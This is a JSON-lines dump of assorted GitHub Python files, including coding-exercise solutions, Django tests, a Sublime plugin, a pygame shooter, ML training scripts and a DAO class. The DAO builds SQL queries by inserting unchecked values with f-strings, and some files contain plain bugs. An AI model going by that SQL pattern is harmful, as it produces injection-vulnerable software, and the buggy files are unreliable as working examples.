is:\", x)\n bookNeeds = [\"pen\", \"paper\", \"idea\"]\n if bookNeeds == y and x != \"confusion\":\n print(\"You can write a book.\")\n elif bookNeeds == y and x == \"confusion\":\n print(\"You are too confused to write a book\")\n else:\n print(\"You cannot write a book.\")\n\nmountain()\nmeal()\nbook()\n \n","repo_name":"RosemaryDavy/Python-Code-Samples","sub_path":"Game.py","file_name":"Game.py","file_ext":"py","file_size_in_byte":1683,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"71886841362","text":"from django.contrib.auth import get_user_model\r\nfrom django.test import TestCase\r\nfrom django.urls import reverse\r\nfrom .models import Fish\r\n\r\nclass FishTests(TestCase):\r\n def setUp(self):\r\n self.user = get_user_model().objects.create_user(\r\n username=\"tester\", email=\"tester@email.com\", password=\"pass\"\r\n )\r\n\r\n self.fish = Fish.objects.create(\r\n species=\"perch\", angler=self.user, description=\"description test\", \r\n )\r\n\r\n def test_string_representation(self):\r\n self.assertEqual(str(self.fish), \"perch\")\r\n\r\n def test_fish_content(self):\r\n self.assertEqual(f\"{self.fish.species}\", \"perch\")\r\n self.assertEqual(f\"{self.fish.angler}\", \"tester@email.com\")\r\n self.assertEqual(f\"{self.fish.description}\", \"description test\")\r\n\r\n def test_fish_list_view(self):\r\n response = self.client.get(reverse(\"fish_list\"))\r\n self.assertEqual(response.status_code, 200)\r\n self.assertContains(response, \"perch\")\r\n self.assertTemplateUsed(response, \"fishpage/fish_list.html\")\r\n\r\n def test_fish_detail_view(self):\r\n response = self.client.get(reverse(\"fish_detail\", args=\"1\"))\r\n no_response = self.client.get(\"/100000/\")\r\n self.assertEqual(response.status_code, 200)\r\n self.assertEqual(no_response.status_code, 404)\r\n self.assertContains(response, \"Angler: tester\")\r\n self.assertTemplateUsed(response, \"fishpage/fish_detail.html\")\r\n\r\n def test_fish_create_view(self):\r\n response = self.client.post(\r\n reverse(\"fish_create\"),\r\n {\r\n \"species\": \"Bass\",\r\n \"description\": \"test\",\r\n \"angler\": self.user.id,\r\n }, follow=True\r\n )\r\n\r\n self.assertRedirects(response, reverse(\"fish_detail\", args=\"2\"))\r\n","repo_name":"chrisrarig1/djangoX","sub_path":"fish/tests.py","file_name":"tests.py","file_ext":"py","file_size_in_byte":1835,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"25065186536","text":"# https://leetcode.com/problems/rotate-list/\n# 61\n# medium\n\n# Definition for singly-linked list.\n# class ListNode(object):\n# def __init__(self, x):\n# self.val = x\n# self.next = None\n\n\nclass Solution(object):\n def Lprint(self, head):\n while head:\n print(head.val),\n head = head.next\n\n def rotateRight(self, head, k):\n \"\"\"\n :type head: ListNode\n :type k: int\n :rtype: ListNode\n \"\"\"\n if not head or not head.next or k == 0:\n return head\n\n # get length of the linked list:\n orig_head = head\n\n # Get the length of the list node\n ll = 0\n while head:\n head = head.next\n ll += 1\n\n # if k > ll, we only have to rotate\n if k % ll == 0:\n return orig_head\n\n # Interception point - should be ll - k\n k = ll - (k % ll)\n\n ref = orig_head\n\n # get to intercepting point\n count = 1\n while count < k:\n orig_head = orig_head.next\n count += 1\n\n fir = orig_head.next\n orig_head.next = None\n\n ans = fir\n\n while fir.next:\n fir = fir.next\n\n fir.next = ref\n\n return ans\n","repo_name":"jkfer/LeetCode","sub_path":"Rotate_List.py","file_name":"Rotate_List.py","file_ext":"py","file_size_in_byte":1251,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"26741815286","text":"import os\nimport re\nimport sublime\nimport sublime_plugin\n\n\nclass QuickCreateFileCreatorBase(sublime_plugin.WindowCommand):\n relative_paths = []\n full_torelative_paths = {}\n rel_path_start = ''\n\n def doCommand(self):\n self.construct_excluded_pattern()\n self.build_relative_paths()\n if len(self.relative_paths) == 1:\n self.selected_dir = self.relative_paths[0]\n self.selected_dir = self.full_torelative_paths[self.selected_dir]\n self.window.show_input_panel(self.INPUT_PANEL_CAPTION, '', self.file_name_input, None, None)\n elif len(self.relative_paths) > 1:\n self.move_current_directory_to_top()\n self.window.show_quick_panel(self.relative_paths, self.dir_selected)\n else:\n view = self.window.active_view()\n self.selected_dir = os.path.dirname(view.file_name())\n self.window.show_input_panel(self.INPUT_PANEL_CAPTION, '', self.file_name_input, None, None)\n\n def construct_excluded_pattern(self):\n excluded_dir_patterns = self.get_setting('excluded_dir_patterns')\n self.excluded = re.compile(\"^$\")\n if excluded_dir_patterns:\n patterns = [pat.replace('|', '\\\\') for pat in self.get_setting('excluded_dir_patterns')]\n self.excluded = re.compile('|'.join(patterns))\n\n def get_setting(self, key):\n settings = None\n view = self.window.active_view()\n\n if view:\n settings = self.window.active_view().settings()\n\n if settings and settings.has('SublimeQuickFileCreator') and key in settings.get('SublimeQuickFileCreator'):\n # Get project-specific setting\n results = settings.get('SublimeQuickFileCreator')[key]\n else:\n # Get user-specific or default setting\n settings = sublime.load_settings('SublimeQuickFileCreator.sublime-settings')\n results = settings.get(key)\n return results\n\n def build_relative_paths(self):\n folders = self.window.folders()\n self.relative_paths = []\n self.full_torelative_paths = {}\n for path in folders:\n rootfolders = os.path.split(path)[-1]\n self.rel_path_start = os.path.split(path)[0]\n if not self.excluded.search(rootfolders):\n self.full_torelative_paths[rootfolders] = path\n self.relative_paths.append(rootfolders)\n\n\n for base, dirs, files in os.walk(path):\n descend = []\n for dir in dirs:\n relative_path = os.path.relpath(os.path.join(base, dir), self.rel_path_start)\n if not self.excluded.search(relative_path):\n self.full_torelative_paths[relative_path] = os.path.join(base, dir)\n self.relative_paths.append(relative_path)\n descend.append(dir)\n dirs[:] = descend\n\n def move_current_directory_to_top(self):\n view = self.window.active_view()\n if view and view.file_name():\n cur_dir = os.path.relpath(os.path.dirname(view.file_name()), self.rel_path_start)\n if cur_dir in self.full_torelative_paths:\n i = self.relative_paths.index(cur_dir)\n self.relative_paths.insert(0, self.relative_paths.pop(i))\n else:\n self.relative_paths.insert(0, os.path.dirname(view.file_name()))\n return\n\n def dir_selected(self, selected_index):\n if selected_index != -1:\n self.selected_dir = self.relative_paths[selected_index]\n try:\n self.selected_dir = self.full_torelative_paths[self.selected_dir]\n except KeyError:\n # selected dir is not in the map, is that even a problem ?\n pass\n self.window.show_input_panel(self.INPUT_PANEL_CAPTION, '', self.file_name_input, None, None)\n\n def file_name_input(self, file_name):\n full_path = os.path.join(self.selected_dir, file_name)\n\n if os.path.lexists(full_path):\n sublime.error_message('File already exists:\\n%s' % full_path)\n return\n else:\n self.create_and_open_file(full_path)\n\n def create(self, filename):\n base, filename = os.path.split(filename)\n self.create_folder(base)\n\n def create_folder(self, base):\n if not os.path.exists(base):\n parent = os.path.split(base)[0]\n if not os.path.exists(parent):\n self.create_folder(parent)\n os.mkdir(base)\n\n\nclass QuickCreateFileCommand(QuickCreateFileCreatorBase):\n INPUT_PANEL_CAPTION = 'File name:'\n\n def run(self):\n self.doCommand()\n\n def create_and_open_file(self, path):\n if not os.path.exists(path):\n self.create(path)\n self.window.open_file(path)\n\n\nclass QuickCreateDirectoryCommand(QuickCreateFileCreatorBase):\n INPUT_PANEL_CAPTION = 'Folder name:'\n\n def run(self):\n self.doCommand()\n\n def create_and_open_file(self, path):\n self.create_folder(path)\n","repo_name":"noklesta/SublimeQuickFileCreator","sub_path":"SublimeQuickFileCreator.py","file_name":"SublimeQuickFileCreator.py","file_ext":"py","file_size_in_byte":5089,"program_lang":"python","lang":"en","doc_type":"code","stars":64,"dataset":"github-code","pt":"3"} +{"seq_id":"778118044","text":"from abc import ABC\nfrom typing import Iterable, List, Union\n\nimport pandas as pd\nimport numpy as np\nfrom .base_portal import BaseDeltaPortal\n\nfrom ntiles.toolbox import QueryConstructor, SQLConnection\n\n\nclass PricingPortal(BaseDeltaPortal, ABC):\n \"\"\"\n Pulls pricing from database\n \"\"\"\n\n def __init__(self,\n assets: Union[Iterable, str],\n search_by: str,\n start_date: str,\n end_date: str,\n field: str = 'prc',\n table: str = 'CRSP.sd',\n con: SQLConnection = None,\n freq: str = 'D',\n ):\n \"\"\"\n :param assets: The assets we want ti search for. Can be list of ids or a code eg \"ETF_SPY\".\n :param search_by: The name of the asset ids we are searching the database by.\n :param start_date: The date to start getting pricing. Format: %Y-%m-%d\n :param end_date: The date to stop getting pricing. Format: %Y-%m-%d\n :param field: The pricing field to get from the database. Default: 'prc'\n :param table: The table to get the pricing from. Default: 'CRSP.sd'\n :param con: A SQLConnection object to use to connect to the database. Default: None\n :param freq: The frequency of the pricing. Default: 'D'\n \"\"\"\n super().__init__(assets=assets,\n start=pd.Period(start_date),\n end=min(pd.Timestamp(end_date), pd.Timestamp('today')).to_period('D'),\n freq=freq)\n self._search_by = search_by\n self._field = field\n self._table = table\n self._con = con\n self._freq = freq\n\n self._pricing = None\n self._get_pricing()\n\n @property\n def assets(self) -> List[any]:\n return self._pricing.columns.tolist()\n\n @property\n def delta_data(self) -> pd.DataFrame:\n \"\"\"\n returns the delta of the data held by the portal\n :return: Index: Id, pd.Period; Columns: 'delta'; Values: data\n \"\"\"\n return self._pricing\n\n @property\n def periods(self) -> List[pd.Period]:\n return self._pricing.index.drop_duplicates().to_list()\n\n def _get_pricing(self):\n df = (QueryConstructor(sql_con=self._con, freq=self._freq)\n .query_timeseries_table(self._table, assets=self._assets,\n start_date=str(self._start), end_date=str(self._end),\n search_by=self._search_by, fields=[self._field])\n .distinct()\n .set_calendar('NYSE')\n .order_by('date')\n .dropna(self._field)\n .df)\n\n self._pricing = df[self._field].unstack().pct_change(1).iloc[1:]. \\\n fillna(0).replace([np.inf, -np.inf], 0).clip(-.75, 1.5)\n","repo_name":"Alexd14/ntiles","sub_path":"ntiles/backtest/portals/pricing_portal.py","file_name":"pricing_portal.py","file_ext":"py","file_size_in_byte":2838,"program_lang":"python","lang":"en","doc_type":"code","stars":12,"dataset":"github-code","pt":"3"} +{"seq_id":"708172820","text":"# Adam Patyk\n# Clemson University\n# MS Thesis: Daily Pattern Classifier\n# Summer 2021\n\n# TrainDailyPatternRNN.py\n# Purpose: Trains daily pattern classifiers for k-fold cross validation\n# Used with TestDailyPatternRNN for evaluation\n# Usage: python TrainDailyPatternRNN.py \n\nimport sys\nimport os\nimport random\nimport numpy as np\nimport tensorflow as tf\nfrom tensorflow.keras.preprocessing.sequence import pad_sequences \nfrom sklearn.model_selection import KFold\n\nsys.path.append('../') # for .py files in ../common/\nimport common.testing as testing\n\nif len(sys.argv) != 4:\n sys.exit(\"Usage: python TrainDailyPatternRNN.py \") \n\n# prepare for GPU workflow\ngpus = tf.config.list_physical_devices('GPU')\nfor gpu in gpus:\n tf.config.experimental.set_memory_growth(gpu, True)\nlogical_gpus = tf.config.list_logical_devices('GPU')\n# ignore extraneous warnings\ntf.compat.v1.logging.set_verbosity(tf.compat.v1.logging.ERROR)\n\nseed = 42\nrandom.seed(seed)\nnp.random.seed(seed)\ntf.random.set_seed(seed)\n\nlen_threshold = 850\nk = 5\nepochs = int(sys.argv[3]) #50\nbatch_size = int(sys.argv[1]) #64\nnum_units = int(sys.argv[2]) #16\nnum_subjects = 354\nn_timesteps = len_threshold\n\n# load numpy arrays from binary .npy files (created from .txt samples in LoadFiles script)\nraw_samples = np.load('../GenerateSamples/compressed-samples/daily-samples.npy', allow_pickle=True)\nraw_labels = np.load('../GenerateSamples/compressed-samples/daily-samples.npy', allow_pickle=True)\nall_filenames = np.load('../GenerateSamples/compressed-samples/daily-filenames.npy').astype(int)\noriginal_sample_lengths = np.array([len(sample) for sample in raw_samples])\n\n# pad or truncate data sequences accordingly\nall_samples = pad_sequences(raw_samples, len_threshold, dtype='float64', padding='post', truncating='post', value=-1)\nall_labels = pad_sequences(raw_labels, len_threshold, dtype='int32', padding='post', truncating='post', value=-1)\nprint('Data ready.')\n\n# prepare k-fold cross validation\nkfold = KFold(k, shuffle=True, random_state=seed)\n# randomly shuffle array of indices\nx = range(num_subjects)\nsubjects = np.array(random.sample(x, num_subjects), copy=False)\n\ntotal_TPR, total_TNR, total_F1, total_Prec, total_WAcc = [], [], [], [], []\ntotal_ep_TPR, total_ep_F1, total_ep_FP_TP = [], [], []\n\nprint(f'Training with batch_size = {batch_size}, units = {num_units}')\nfor i, (training_subjects, testing_subjects) in enumerate(kfold.split(subjects)):\n ### TRAINING\n print(f'FOLD {i+1}') \n os.makedirs('models', exist_ok=True)\n model_path = f'models/daily-pattern-b{batch_size}-u{num_units}-e{epochs}-fold{i+1}'\n # retrieve only samples/labels corresponding to training fold\n print('Training...')\n training_bool = np.isin(all_filenames, training_subjects)\n training_samples = tf.convert_to_tensor(all_samples[training_bool], np.float32)\n training_labels = tf.convert_to_tensor(all_labels[training_bool], np.int8)\n \n training_samples = tf.reshape(training_samples, (-1, n_timesteps, 1))\n training_labels = tf.reshape(training_labels, (-1, n_timesteps, 1))\n \n tf.keras.backend.clear_session()\n mcp_save = tf.keras.callbacks.ModelCheckpoint(model_path, save_best_only=True, monitor='accuracy')\n\n # define model\n model = tf.keras.models.Sequential([\n tf.keras.layers.Masking(mask_value=-1,\n input_shape=(n_timesteps, 1)),\n tf.keras.layers.Bidirectional(\n tf.keras.layers.GRU(units=num_units, \n return_sequences=True,\n kernel_initializer='glorot_normal', # Xavier normal initialization\n bias_initializer='zeros'),\n merge_mode='sum'\n ),\n tf.keras.layers.TimeDistributed(tf.keras.layers.Dense(1, activation='sigmoid'))\n ])\n\n model.compile(optimizer='adam',\n loss='binary_crossentropy',\n metrics=['accuracy'])\n\n history = model.fit(x=training_samples, y=training_labels,\n epochs=epochs, batch_size=batch_size, verbose=2,\n callbacks=[mcp_save])\n \n ### TESTING\n print('Saving...')\n\n # retrieve only samples/labels corresponding to testing fold\n testing_bool = np.isin(all_filenames, testing_subjects)\n testing_samples = tf.convert_to_tensor(all_samples[testing_bool], np.float32)\n testing_labels = tf.convert_to_tensor(all_labels[testing_bool], np.int8)\n testing_sample_lengths = original_sample_lengths[testing_bool]\n \n testing_samples = tf.reshape(testing_samples, (-1, n_timesteps, 1))\n testing_labels = tf.reshape(testing_labels, (-1, n_timesteps, 1))\n \n # inference for all testing data using best model from training\n model = tf.keras.models.load_model(model_path)\n testing_probs = model.predict(testing_samples, batch_size=4096)\n \n # save data for post-hoc evaluation\n os.makedirs('testing', exist_ok=True)\n np.save(f'testing/testing_lengths_{epochs}epochs_fold{i+1}.npy', testing_sample_lengths)\n np.save(f'testing/testing_probs_{epochs}epochs_fold{i+1}.npy', testing_probs)\n np.save(f'testing/testing_samples_{epochs}epochs_fold{i+1}.npy', tf.squeeze(testing_samples).numpy())\n np.save(f'testing/testing_labels_{epochs}epochs_fold{i+1}.npy', tf.squeeze(testing_labels).numpy())\n \n del model\n print(\"*****************************************************************\")\n","repo_name":"apatyk/Daily-Pattern-Classifier","sub_path":"DailyPatternClassifier/TrainDailyPatternRNN.py","file_name":"TrainDailyPatternRNN.py","file_ext":"py","file_size_in_byte":5552,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"37117032139","text":"\"\"\"\nGiven a digit string, return all possible letter combinations that the number could represent.\n\nA mapping of digit to letters (just like on the telephone buttons) is given below.\n\nInput:Digit string \"23\"\nOutput: [\"ad\", \"ae\", \"af\", \"bd\", \"be\", \"bf\", \"cd\", \"ce\", \"cf\"].\n\nNote:\nAlthough the above answer is in lexicographical order, your answer could be in any order you want.\n\"\"\"\n\n\n# http://www.cnblogs.com/zuoyuan/p/3779761.html\n# 解题思路:穷举所有可能的字符串使用dfs来解决。\nclass Solution(object):\n def letterCombinations(self, digits):\n \"\"\"\n :type digits: str\n :rtype: List[str]\n \"\"\"\n def dfs(num, string, res):\n if num == length:\n res.append(string)\n return\n\n for letter in dict[digits[num]]:\n dfs(num+1, string+letter, res)\n\n if len(digits) == 0:\n return []\n\n res = []\n length = len(digits)\n dict = {'2': ['a', 'b', 'c'],\n '3': ['d', 'e', 'f'],\n '4': ['g', 'h', 'i'],\n '5': ['j', 'k', 'l'],\n '6': ['m', 'n', 'o'],\n '7': ['p', 'q', 'r', 's'],\n '8': ['t', 'u', 'v'],\n '9': ['w', 'x', 'y', 'z']\n }\n dfs(0, '', res)\n return res\n","repo_name":"linbianxiaocao/Leet-neat-code","sub_path":"letter_combinations.py","file_name":"letter_combinations.py","file_ext":"py","file_size_in_byte":1332,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"} +{"seq_id":"42200110099","text":"def parse():\n\twith open(\"input.txt\") as file:\n\t\treturn file.read()\n\ninput = [line.split() for line in parse().splitlines()]\n\nX = cycle = 1\ncrt = 0\nsignal_strengths = []\npixels = \"\"\n\ndef do_cycle():\n global crt\n global pixels\n\n if (cycle - 20) % 40 == 0:\n signal_strengths.append(cycle * X)\n\n pixels += \"#\" if X - 1 <= crt <= X + 1 else \".\"\n crt += 1 if crt < 39 else -39\n\n if crt == 0:\n pixels += \"\\n\"\n\n return 1\n\n\nfor instruction in input:\n cycle += do_cycle()\n\n if instruction[0] == \"addx\":\n cycle += do_cycle()\n X += int(instruction[1])\n\nprint(f\"pfff: {sum(signal_strengths)}\")\nprint(f\"uff: \\n{pixels}\")","repo_name":"43-50ph14/advent_of_code","sub_path":"2022/day10/help.py","file_name":"help.py","file_ext":"py","file_size_in_byte":661,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"9476534394","text":"#!/bin/python3\n\nimport math\nimport os\nimport random\nimport re\nimport sys\n\n# Author: HackerRank\n# Author: Ian Bejarano (timeConversion() function)\n# Date: 4/10/2023\n\n# Complete the 'timeConversion' function below.\n# The function is expected to return a STRING.\n# The function accepts STRING s as parameter.\n\ndef timeConversion(s):\n splitted = s.split(':')\n \n if s[-2: ] == 'AM':\n if splitted[0] == '12':\n splitted[0] = '00'\n \n return splitted[0] + ':' + splitted[1] + ':' + splitted[2][0:2]\n \n elif s[-2: ] == 'PM':\n if splitted[0] != '12':\n hrs = str(int(splitted[0]) + 12)\n mins = splitted[1]\n secs = splitted[2][0:2]\n return hrs + ':' + mins + ':' + secs\n else:\n return splitted[0] + ':' + splitted[1] + ':' + splitted[2][0:2]\n\nif __name__ == '__main__':\n fptr = open(os.environ['OUTPUT_PATH'], 'w')\n\n s = input()\n\n result = timeConversion(s)\n\n fptr.write(result + '\\n')\n\n fptr.close()","repo_name":"ibej/HackerRankChallenges","sub_path":"time-conversion.py","file_name":"time-conversion.py","file_ext":"py","file_size_in_byte":1018,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"70690570643","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import models, migrations\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('ratings', '0003_auto_20150607_1455'),\n ]\n\n operations = [\n migrations.AlterField(\n model_name='rating',\n name='image',\n field=models.ImageField(blank=True, verbose_name='Изображение', upload_to='images/rating'),\n ),\n migrations.AlterField(\n model_name='rating',\n name='moderated',\n field=models.BooleanField(verbose_name='Модерация пройдена', default=False),\n ),\n ]\n","repo_name":"juntatalor/qexx","sub_path":"ratings/migrations/0004_auto_20150607_2302.py","file_name":"0004_auto_20150607_2302.py","file_ext":"py","file_size_in_byte":676,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"39843995425","text":"# repetir desafio 35 dos triangulos e dizer qual triangulo os valores formariam\r\nfrom time import sleep\r\nt1 = int(input('Diga o 1° número '))\r\nt2 = int(input('Diga o 2° número '))\r\nt3 = int(input('Diga o 3° número '))\r\nif t1 <= t2 + t3 and t2 <= t1 + t3 and t3 <= t1 + t3:\r\n print('Pode ser um triangulo.')\r\n sleep(0.5)\r\n if t1 == t2 == t3:\r\n print('Este é um traiangulo EQUILATERO')\r\n elif t1 != t2 == t3 or t1 == t2 != t3 or t3 == t1 != t2 or t3 != t1 == t2:\r\n print('Este é um triangulo ISÓSCELES.')\r\n elif t1 != t2 != t3:\r\n print(\"Este é um triangulo ESCALENO.\")\r\nelse:\r\n print('Não pode formar um triangulo.')\r\n","repo_name":"savioricardog/Atividades_Python_Curso_em_Video","sub_path":"aula12_desafio42.py","file_name":"aula12_desafio42.py","file_ext":"py","file_size_in_byte":666,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"21447819795","text":"import pygame\nimport random\nfrom os import path\n\nimg_dir = path.join(path.dirname(__file__), 'img')\n\nWIDTH = 600\nHEIGHT = 720\nFPS = 60\n\nWHITE = (255,) * 3\nBLACK = (0,) *3\nRED = (255, 0, 0)\nGREEN = (0, 255, 0)\nBLUE = (0, 0, 255)\nYELLOW = (255, 255, 0)\n\nscore = 0\nfont_name = 'arial'\npygame.init()\npygame.mixer.init() \nscreen = pygame.display.set_mode((HEIGHT, WIDTH))\npygame.display.set_caption(\"Welcome to the club buddy!\")\nbackground_color = (0,) * 3\nclock = pygame.time.Clock()\ndef draw_text(surf, font_name, text, size, x, y):\n font = pygame.font.SysFont(font_name, size)\n text_surface = font.render(text, True, WHITE)\n text_rect = text_surface.get_rect()\n text_rect.midtop = (x, y)\n surf.blit(text_surface, text_rect)\n\n\ndef newmob():\n m = Mob()\n all_sprites.add(m)\n mobs.add(m)\n\n\nclass Player(pygame.sprite.Sprite):\n def __init__(self):\n pygame.sprite.Sprite.__init__(self)\n self.image = pygame.transform.scale(player_img, (50,38))\n transColor = self.image.get_at((0, 0))\n self.image.set_colorkey(transColor) \n self.rect = self.image.get_rect()\n self.rect.centerx = WIDTH / 2\n self.rect.bottom = HEIGHT - 10\n self.radius = 20\n self.speedx = 0\n\n def update(self):\n self.speedx = 0\n keystate = pygame.key.get_pressed()\n if keystate[pygame.K_LEFT]:\n self.speedx = -8\n if keystate[pygame.K_RIGHT]:\n self.speedx = 8\n self.rect.x += self.speedx\n if self.rect.right > WIDTH:\n self.rect.right = WIDTH\n if self.rect.left < 0:\n self.rect.left = 0\n \n def shoot(self):\n bullet = Bullet(self.rect.centerx, self.rect.top)\n all_sprites.add(bullet)\n bullets.add(bullet)\n shoot_sound.play()\n\n\nclass Mob(pygame.sprite.Sprite):\n def __init__(self):\n pygame.sprite.Sprite.__init__(self)\n self.image_orig = meteor_images[0]\n transColor = self.image_orig.get_at((0, 0))\n self.image_orig.set_colorkey(transColor)\n self.image = self.image_orig.copy()\n self.rect = self.image.get_rect()\n self.radius = int(self.rect.width * .85 / 2)\n self.rect.x = random.randrange(WIDTH - self.rect.width)\n self.rect.y = random.randrange(-150, -100)\n self.speedy = random.randrange(1, 8)\n self.speedx = random.randrange(-3, 3)\n self.rot = 0\n self.rot_speed = random.randrange(-8, 8)\n self.last_update = pygame.time.get_ticks()\n\n def rotate(self):\n now = pygame.time.get_ticks()\n if now - self.last_update > 50:\n self.last_update = now\n self.rot = (self.rot + self.rot_speed) % 360\n new_image = pygame.transform.rotate(self.image_orig, self.rot)\n old_center = self.rect.center\n self.image = new_image\n self.rect = self.image.get_rect()\n self.rect.center = old_center\n \n def rotate(self):\n now = pygame.time.get_ticks()\n if now - self.last_update > 50:\n self.last_update = now\n self.rot = (self.rot + self.rot_speed) % 360\n new_image = pygame.transform.rotate(self.image_orig, self.rot)\n old_center = self.rect.center\n self.image = new_image\n self.rect = self.image.get_rect()\n self.rect.center = old_center\n\nclass Bullet(pygame.sprite.Sprite):\n def __init__(self, x, y):\n pygame.sprite.Sprite.__init__(self)\n self.image = pygame.Surface((10, 20))\n self.image.fill(YELLOW)\n self.rect = self.image.get_rect()\n self.rect.bottom = y\n self.rect.centerx = x\n self.speedy = -10\n\n def update(self):\n self.rect.y += self.speedy\n if self.rect.bottom < 0:\n self.kill()\n\nbackground = pygame.image.load('cosmos.png').convert()\nbackground_rect = background.get_rect()\nplayer_img = pygame.image.load(\"ship.png\").convert()\nbullet_img = pygame.image.load(\"bullet.png\").convert()\nmeteor_images = []\nmeteor_list = ['meteor.png', 'meteor2.png'] \nfor img in meteor_list:\n meteor_images.append(pygame.image.load(img).convert())\n\nall_sprites = pygame.sprite.Group()\nmobs = pygame.sprite.Group()\nbullets = pygame.sprite.Group()\nplayer = Player()\nall_sprites.add(player)\nfor i in range(8):\n m = Mob()\n all_sprites.add(m)\n mobs.add(m)\n\nrunning = True\nwhile running:\n clock.tick(FPS)\n for event in pygame.event.get():\n if event.type == pygame.QUIT:\n running = False\n elif event.type == pygame.KEYDOWN:\n if event.key == pygame.K_SPACE:\n player.shoot()\n all_sprites.update()\n\n hits = pygame.sprite.groupcollide(mobs, bullets, True, True)\n for hit in hits:\n m = Mob()\n all_sprites.add(m)\n mobs.add(m)\n\n hits = pygame.sprite.spritecollide(player, mobs, True, pygame.sprite.collide_circle)\n for hit in hits:\n player.shield -= hit.radius * 2\n newmob()\n if player.shield <= 0:\n running = False\n\n screen.fill(BLACK)\n screen.blit(background, background_rect)\n all_sprites.draw(screen)\n draw_text(screen, 'arial', str(score), 18, WIDTH / 2, 10)\n #draw_shield_bar(screen, 5, 5, player.shield)\n\n pygame.display.update()\n\n\npygame.quit()\n","repo_name":"photosartd/Shooter-1","sub_path":"1main.py","file_name":"1main.py","file_ext":"py","file_size_in_byte":5306,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"3"} +{"seq_id":"35880724442","text":"import os\nimport cv2\nimport numpy as np\n\nimport torch\nfrom torch.utils.data import Dataset\n\nfrom yolov3.utils import json_dump, json_load\n\n\ndef img_to_tensor(img):\n img = torch.from_numpy(img).float().permute(2,0,1) / 255\n return img\n\n\ndef read_img(img_path):\n img = cv2.imread(img_path)\n img = cv2.cvtColor(img, cv2.COLOR_BGR2RGB)\n return img\n\n\ndef aspect_transform(w, h, w_new, h_new):\n alpha = min(h_new / h, w_new / w)\n x_offset = (w_new - alpha * w) / 2\n y_offset = (h_new - alpha * h) / 2\n return alpha, x_offset, y_offset\n\n\ndef inv_aspect_transform_results(bboxes, asp):\n alpha, xo, yo = asp\n bboxes = bboxes.detach().clone()\n bboxes[:, [0, 2]] = (bboxes[:, [0, 2]] - xo) / alpha\n bboxes[:, [1, 3]] = (bboxes[:, [1, 3]] - yo) / alpha\n return bboxes\n\n\ndef clamp_results(bboxes, w, h):\n bboxes = bboxes.detach().clone()\n bboxes[:, [0, 2]] = torch.clamp(bboxes[:, [0, 2]], min=0, max=w)\n bboxes[:, [1, 3]] = torch.clamp(bboxes[:, [1, 3]], min=0, max=h)\n return bboxes\n\n\ndef resize_aspect(img, w, h):\n img_w = img.shape[1]\n img_h = img.shape[0]\n alpha, xo, yo = aspect_transform(img_w, img_h, w, h)\n new_w = int(img_w * alpha)\n new_h = int(img_h * alpha)\n new_img = cv2.resize(img, (new_w, new_h), interpolation=cv2.INTER_CUBIC)\n canvas = np.full((h, w, 3), 128)\n c1 = (int(xo), int(yo))\n c2 = (c1[0] + new_w, c1[1] + new_h)\n canvas[c1[1]: c2[1], c1[0]: c2[0], :] = new_img\n return canvas.astype(np.uint8)\n\n\ndef read_index(index_path):\n index_list = json_load(index_path)\n index = {r['image_id']: r['file_name'] for r in index_list}\n return index\n\n\ndef save_index(index, index_path):\n index_list = [{'image_id': k, 'file_name': v} for k, v in index.items()]\n json_dump(index_list, index_path)\n\n\nclass EvalDataset(Dataset):\n def __init__(self, data_path, width, height):\n self.data_path = data_path\n index_path = os.path.join(data_path, 'index.json')\n self.index = read_index(index_path)\n self.ids = sorted(list(self.index.keys()))\n self.width = width\n self.height = height\n\n def __getitem__(self, i):\n image_id = self.ids[i]\n file_name = self.index[image_id]\n img_path = os.path.join(self.data_path, file_name)\n img = read_img(img_path)\n img_w, img_h = img.shape[1], img.shape[0]\n img_info = torch.tensor([image_id, img_w, img_h])\n img_aspect = resize_aspect(img, self.width, self.height)\n inp = img_to_tensor(img_aspect)\n return inp, img_info\n\n def __len__(self):\n return len(self.ids)\n","repo_name":"Senbjorn/yolov3-imp","sub_path":"yolov3/data.py","file_name":"data.py","file_ext":"py","file_size_in_byte":2613,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"13813322726","text":"from dao.base_dao import BaseDao\r\nfrom model.produtos import Produtos\r\n\r\n\r\nclass ProdutosDao(BaseDao):\r\n def inserir_frutas(self, frutas, preco):\r\n # FRUTAS\r\n comando_sql_insert = f\"\"\"INSERT INTO produtos\r\n (produto, preco, fk_tipo)\r\n VALUES\r\n (\r\n '{frutas}'\r\n ,'{preco}'\r\n ,1\r\n )\"\"\"\r\n return super().inserir(comando_sql_insert)\r\n\r\n def inserir_legumes(self, legumes, preco):\r\n # legumes\r\n comando_sql_insert = f\"\"\"INSERT INTO produtos\r\n (produto, preco, fk_tipo)\r\n VALUES\r\n (\r\n '{legumes}'\r\n ,'{preco}'\r\n ,3\r\n )\"\"\"\r\n return super().inserir(comando_sql_insert)\r\n\r\n def inserir_verduras(self, verduras, preco):\r\n # verduras\r\n comando_sql_insert = f\"\"\"INSERT INTO produtos\r\n (produto, preco, fk_tipo)\r\n VALUES\r\n (\r\n '{verduras}'\r\n ,'{preco}'\r\n ,2\r\n )\"\"\"\r\n return super().inserir(comando_sql_insert)\r\n \r\n def listar(self, tipo):\r\n comando_sql_listar = f\"\"\"SELECT produtos.produto, produtos.preco, tipo_produto.tipo FROM produtos JOIN tipo_produto\r\n ON produtos.fk_tipo = tipo_produto.id WHERE fk_tipo = {tipo}\r\n \"\"\"\r\n super().listar(comando_sql_listar)\r\n\r\n def has_nome(self,produto):\r\n comando_sql_buscar_nome = f\"SELECT * from produtos where produto like '%{produto}%' limit 1 